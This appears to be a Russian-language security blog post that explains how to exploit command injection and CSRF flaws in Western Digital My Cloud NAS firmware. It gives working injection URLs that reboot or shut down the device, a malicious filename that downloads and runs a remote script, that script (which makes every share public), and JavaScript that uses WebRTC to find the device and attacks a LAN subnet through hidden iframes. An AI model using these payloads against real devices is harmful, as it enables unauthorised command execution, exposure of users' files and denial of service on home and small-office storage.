Взлом NAS Western Digital My Cloud

Western Digital My Cloud (Personal Cloud Storage) представляет собой Network Attached Storage (NAS). Он пригоден как для использования дома, так и в качестве личного облака для небольших команд. К хранящимся данным можно получить доступ не только из личной сети, но и с другого конца света. На фоне нашумевших утечек личной информации такие устройства стали еще более востребованы — ведь доступ к данным не получит сторонняя организация. По крайней мере в теории.

Уязвимости типа инъекция команд и CSRF были найдены в прошивке с версиями 04.01.03-421 и 04.01.04-422. Предыдущие версии, установленные в разные NAS этой компании, тоже потенциально уязвимы.

EXPLOIT

WD My Cloud работает на Debian Linux. Есть два способа взаимодействия с системой:

  • интерфейс для администратора (http://wdmycloud.local/UI/);
  • RESTful API (http://wdmycloud.local/api/). Он используется администраторским интерфейсом и клиентскими приложениями.

Весь исходный код хранится на устройствe в папке /var/www, и к нему можно получить доступ через SSH. Веб-приложение, как правило, выполняет обычные скрипты на устройстве: добавление и удаление пользователей, проверка доступного места на диске, перезагрузка и другие. Такие скрипты находятся в /usr/local/sbin/. Так как большинство из них требует прав администратора, пользователь www-data числится в /etc/sudoers.

Разберем возможность инъекции команд. С помощью SSH-дoступа к устройству (который включается в панели администратора) автор эксплоита нашел внутри /var/www код на PHP, который позволяет выполнять команды в ОС. Функция exec_runtime из файла /var/www/rest-api/api/Core/init_autoloader.php спроектирована так, что полученные данные отправляет в функцию exec.

В некоторых случаях пользователь может передать параметры GET и POST, которые придут в эту функцию, а затем выполнятся в системе. Часть скриптов плохо проверяет переданные параметры и отправляет их в функцию exec кaк есть. На скриншоте представлен один из таких случаев, найденный в скрипте /var/www/rest-api/api/SafePoint/src/SafePoint/Controller/SafePointGetStatus.php.

При просмотре исходного кода скрипта был обнаружен параметр запроса handle, который передается напрямую в скрипт safeptExec.pl без какой-либо обработки. Для демонстрации воспользуемся CSRF-атакой на авторизованного администратора, который при заходе на нашу страницу выполнит запрос и перезагрузит устройство ($(sudo reboot)).

http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo reboot)&action=update

Из-за того что нет никакой обработки или проверки этого параметра при копировании в $opts, вызов функции exec_runtime заставит систему выполнить команду как есть.

sudo perl <INCLUDE_PATH> /usr/local/NSPT/WDSafe/safeptExec.pl –handle=$(sudo reboot)&action=update

Команда $(sudo reboot), в свою очередь, прервет работу ОС, и остальные команды не будут выполнены.

Еще одна проблема связана с обработкой больших файлов. Когда администратор настраивает устройство, он может добавить новых пользователей, назначить права доступа к разделам и выдать или запретить удаленный доступ, а также разграничить доступ к файлам. Удаленный доступ возможен для клиентов c Windows, Mac, Android и iPhone. Им доступен фронтенд, который получает ответы от устройства по RESTful API. Благодаря найденным в этой структуре ошибкам автор обнаружил возможность любому авторизованному пользователю выполнять произвольные команды или получить доступ к файлам других пользователей. Что еще хуже, атакующий будет иметь доступ к корневому разделу NAS.

[ad name=»Responbl»]

В скрипте /var/www/rest-api/api/Common/includes/util.inc определена функция fstatLfs, которая получает статическую информацию из файлов. Для файлов размером два гигабайта и более есть свой обработчик. В нем и нашлась ошибка: имена файлов передаются через командную строку в двойных кавычках, а не в одинарных. Из-за двойных кавычек строки в таком имени файлов будут обрабатываться как команды.

user posted image
Эксплуатация этой уязвимости проста: загружаем файл размером более двух гигабайт с вредоносным именем.

$(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt

Вот как выглядит makeAllPublic.sh.

#!/bin/bash

while read share;
do
   echo UPDATE UserShares SET public_access="true" WHERE share_name="$share"";" | sqlite3 /usr/local/nas/orion/orion.db;
done < <(bash /usr/local/sbin/getShares.sh private)

В результате на устройстве все разделы станут публичными и любой пользователь сможет получить к ним доступ.

Но что делать, если у атакующего нет авторизованного доступа? Так как устройство используется в локальной сети, существует папка Public, в которую в большинстве случаев может положить файл любой желающий. В итоге нужно создать файл с указанным размером и вредоносным именем. Далее ждем, когда авторизованный пользователь просмотрит папку с любого устройства, используя клиентское приложение WD.

Устройство подвержено и CSRF-атакам. Это позволяет выполнить различные команды, если пользователь зайдет на нашу страницу.

http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update

Адрес устройства не всегда имеет такой вид, но тут нам на помощь может прийти функция WebRTC, доступная в популярных браузерах. Еще нам требуется правильная сессия. В итоге для атаки нужно:
1. Использовать WebRTC для определения IP-адреса устройства.
2. Сделать запрос на My Cloud через LAN для создания правильной сессии в браузере.
3. Отправить атакующий запрос на устройство. Ниже приведен текст запроса.

Код
...
function exploit(ip) {

var ip_part = ip.split(".");
var cidr_24 = ip_part[0] + "." + ip_part[1] + "." + ip_part[2] + ".";
if (ip_part[0] == "192" || ip_part[0] == "172" || ip_part[0] == "10") {
    var expFrame = new Array(255);
    for (i = 2; i < 40; i++) {
        document.write("<iframe id="" + i + "" src="http://" + cidr_24 + i +"/api/2.1/rest/local_login?username=" + "<?php echo $_GET['username'] ?>" + "&password=" + "<?php echo $_GET['password'] ?>" height=0 width=0 style="visibility:hidden;display:none"></iframe>");
    };
    for (i = 2; i < 40; i++) {
        document.write("<iframe id="exp" + i + "" src="http://" + cidr_24 + i + "/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update" height=0 width=0 style="visibility:hidden;display:none"></iframe>");
        setInterval( function(id) {document.getElementById(id).src = document.getElementById(id).src;}, 2000, "exp"+i );
    };
};

};

function go() {

getIPs(function(ip) {
    exploit(ip);
});

};

Код на JavaScript, который используется для определения IP-адреса через WebRTC, можно скачать целиком отсюда. А полный текст страницы для CSRF-атаки ты можешь взять из Exploit-DB.

TARGETS

Прошивки с версиями до сентября 2015 года.
Протестировано на версиях 04.01.03-421 и 04.01.04-422 для устройств
Personal Cloud.

Click to rate this post!
[Total: 5 Average: 3.4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.